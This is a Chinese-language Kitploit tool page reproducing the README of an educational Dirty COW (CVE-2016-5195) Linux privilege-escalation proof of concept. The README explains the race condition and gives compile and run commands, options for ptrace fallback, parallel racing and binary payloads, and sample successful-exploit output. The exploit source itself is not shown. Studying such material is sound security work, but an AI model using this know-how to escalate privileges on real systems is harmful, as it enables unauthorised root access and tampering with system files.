Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
dirtycow-lab — 针对 Dirty COW(CVE-2016-5195)的教育性 PoC,支持日志记录、ptrace 回退以及二进制载荷。 | Kitploit
工具/GitHubGitHub/mohammadamin382/dirtycow-lab
权限提升漏洞分析漏洞利用渗透测试学习与教育红队二进制利用实验室与实践
GitHubmohammadamin382/dirtycow-lab

dirtycow-lab

针对 Dirty COW(CVE-2016-5195)的教育性 PoC,支持日志记录、ptrace 回退以及二进制载荷。

查看仓库
11年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Dirty COW 教育性 PoC(CVE-2016-5195)

⚠️ 法律警告

此代码仅供教育目的使用。任何恶意使用均被严格禁止,且属于违法行为。

📖 什么是 Dirty COW?

Dirty COW(CVE-2016-5195)是 Linux 内核中的一个权限提升漏洞,它利用了内核写时复制(COW)机制中的竞争条件。该漏洞影响从 2.6.22 版本(2007 年发布)到以下版本之前的 Linux 内核:

  • 4.8.3
  • 4.7.9
  • 4.4.26

技术细节

该漏洞存在于内核的内存管理系统中:

  1. 写时复制(COW):当进程使用 MAP_PRIVATE 映射文件时,修改操作应当创建一份私有副本
  2. 竞争条件:两个线程在 madvise(MADV_DONTNEED) 与写入 /proc/self/mem 之间展开竞争
  3. 漏洞利用:在特定的时序条件下,写入操作可以绕过 COW 保护并修改原始文件

影响

  • 权限提升:修改 root 拥有的只读文件
  • 系统沦陷:通过修改 /etc/passwd 等系统文件有可能获得 root 权限
  • 数据完整性:对关键系统文件进行未经授权的修改

🛡️ 测试安全须知

⚠️ 重要:仅在隔离环境中测试

切勿在生产系统或非您所有的系统上运行!

推荐的测试环境:

  1. 虚拟机(VM):使用 VMware、VirtualBox 或 KVM
  2. 容器:使用存在漏洞的内核的 Docker 容器
  3. 隔离实验室:不含重要数据的专用测试机
  4. 内核要求:Linux 内核版本 2.6.22 至 4.8.2

安全测试实践:

root@kitploit:~
# 1. Check kernel version first
uname -r

# 2. Create isolated test directory
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test

# 3. Test with harmless files only
./main -t /tmp/test_file -v

# 4. Monitor system resources
top -p $(pgrep -f main)

🚀 编译与使用

前置条件

root@kitploit:~
# Install required packages (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev

# Install required packages (CentOS/RHEL)
sudo yum install gcc openssl-devel

编译

root@kitploit:~
# Standard compilation
make

# Debug version
make main-debug

# Manual compilation
gcc -o main main.c -lpthread -lssl -lcrypto

基本用法

root@kitploit:~
# Simple test with default settings
./main

# Verbose mode with custom target
./main -t /tmp/testfile -v

# Advanced usage with multiple processes
./main -t /tmp/target -n 4 -r 3 -D -v

# Binary payload from file
./main -f payload.bin -P -D -n 2

命令行选项

🔬 高级功能

1. 多种攻击方法

  • 方法 1:/proc/self/mem 写入(默认)
  • 方法 2:适用于受限系统的 ptrace(PTRACE_POKETEXT)

2. 动态偏移扫描

扫描多个内存偏移以找到最佳写入位置:

root@kitploit:~
./main -D -v  # Enable dynamic offset scanning

3. 多进程竞争条件

启动多个进程以制造激烈的竞争条件:

root@kitploit:~
./main -n 4  # Use 4 parallel processes

4. 二进制载荷支持

从文件加载任意二进制数据:

root@kitploit:~
# Create binary payload
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin

# Use binary payload
./main -f payload.bin -v

5. 自动重试逻辑

自动重试失败的尝试:

root@kitploit:~
./main -r 5  # Retry up to 5 times

6. 文件完整性验证

使用 SHA-256 哈希验证文件修改:

root@kitploit:~
# Check original vs modified file hashes
./main -v  # Shows hash comparison in verbose mode

📊 输出与日志

控制台输出示例

root@kitploit:~
Dirty COW Educational PoC (CVE-2016-5195)
==========================================

=== SYSTEM INFORMATION ===
Kernel Version: Linux 4.4.0-generic
Architecture: x86_64
Current User: testuser
UID/GID: 1000/1000

=== VULNERABILITY CHECK ===
Kernel: Linux version 4.4.0-generic
[+] /proc/self/mem accessible

=== STARTING TEST ===

=== EXPLOIT EXECUTION ===
[+] Target: /tmp/dirty_cow_test
[+] Payload length: 32 bytes
[+] Iterations: 10000000
[+] Processes: 1
[+] Method: /proc/self/mem
[+] Dynamic offset: disabled
[+] Backup created: /tmp/dirty_cow_test.backup
[+] Original content: original-content-before-exploit
[+] Starting race condition test...
[+] EXPLOIT SUCCESSFUL on attempt 1!
[+] File hash changed - modification confirmed!
[+] Original: a1b2c3d4e5f6...
[+] Final:    f6e5d4c3b2a1...

=== TEST SUCCESSFUL ===
[+] File modification completed
[+] Educational objective achieved
[+] Statistics: 156789 writes, 1 successful, 2.347 sec

日志文件格式

该工具会在 exploit_log.txt 中生成详细日志:

root@kitploit:~
[2024-01-15 10:30:45] System Info - UID/GID: 1000/1000
[2024-01-15 10:30:45] Kernel version: Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Starting exploit - Target: /tmp/test, Payload: 32 bytes
[2024-01-15 10:30:47] EXPLOIT SUCCESSFUL on attempt 1
[2024-01-15 10:30:47] Final stats - Writes: 156789, Successful: 1, Duration: 2.347 sec

🎯 测试场景

场景 1:基本功能测试

root@kitploit:~
# Test basic exploit functionality
./main -t /tmp/basic_test -v

场景 2:压力测试

root@kitploit:~
# High-intensity race condition test
./main -i 50000000 -n 4 -r 3 -D -v

场景 3:受限环境

root@kitploit:~
# Test when /proc/self/mem is blocked
./main -P -D -v

场景 4:二进制载荷测试

root@kitploit:~
# Test with binary data containing null bytes
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v

🔍 理解该漏洞利用

竞争条件时序

该漏洞利用通过在两个操作之间制造竞争来实现:

  1. 线程 1:madvise(MADV_DONTNEED) - 告知内核丢弃内存页
  2. 线程 2:写入 /proc/self/mem - 尝试写入已映射的内存

成功因素

  • 内核版本:必须存在漏洞(< 4.8.3)
  • 时序:竞争条件必须在精确的时机发生
  • 内存映射:文件必须使用 MAP_PRIVATE 进行映射
  • 权限:必须对目标文件具有读取权限

为何有效

当竞争条件成功时:

  1. 线程 1 丢弃 COW 页面
  2. 线程 2 在新 COW 页面创建之前完成写入
  3. 写入直接落到原始文件,而非私有副本

🛠️ 故障排除

常见问题

1. “漏洞利用失败或迭代次数不足”

  • 解决方法:使用 -i 增加迭代次数,或使用 -n 启动多个进程

2. “/proc/self/mem 访问失败”

  • 解决方法:使用 -P 标志启用 ptrace 方法

3. “系统可能不存在该漏洞”

  • 检查内核版本:uname -r
  • 确保内核版本早于 4.8.3

4. 系统无响应

  • 减少迭代次数:-i 1000000
  • 使用更少的进程:-n 1

性能调优

root@kitploit:~
# Conservative settings (slower but safer)
./main -i 5000000 -n 1

# Aggressive settings (faster but resource intensive)
./main -i 50000000 -n 4 -D

# Balanced settings
./main -i 20000000 -n 2 -r 2 -D

📚 教育资源

CVE 信息

  • CVE-2016-5195:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195
  • NVD 数据库:https://nvd.nist.gov/vuln/detail/CVE-2016-5195

扩展阅读

  • Linux 内核内存管理
  • 写时复制(COW)机制
  • 竞争条件漏洞
  • 权限提升技术

🤝 贡献

这是一个教育工具。贡献应侧重于:

  • 提升教育价值
  • 增加安全特性
  • 完善文档
  • 代码清晰度与注释

⚖️ 免责声明

本软件仅用于教育和研究目的。作者和贡献者不对因使用本程序而造成的任何误用或损害负责。用户全权负责确保在对任何系统进行测试之前已获得适当授权。

使用本软件即表示您确认:

  • 您将仅将其用于合法的教育目的
  • 您已获得进行任何测试的适当授权
  • 您了解未经授权进行系统测试的法律后果
  • 您不会将此工具用于恶意目的

📝 许可证

本项目仅出于教育目的以 MIT 许可证发布。


请记住:能力越大,责任越大。请运用这些知识来保护和加固系统,而不是伤害它们。

下载工具
选项说明默认值最大值
-t <file>目标文件路径/tmp/dirty_cow_test-
-p <payload>自定义文本载荷Test string-
-f <file>从文件加载二进制载荷--
-i <num>迭代次数10,000,000100,000,000
-n <num>并行进程数18
-r <num>重试次数110
-P使用 ptrace 代替 /proc/self/mem已禁用-
-D启用动态偏移扫描已禁用-
-v详细输出已禁用-
-l <file>日志文件路径exploit_log.txt-
-h显示帮助--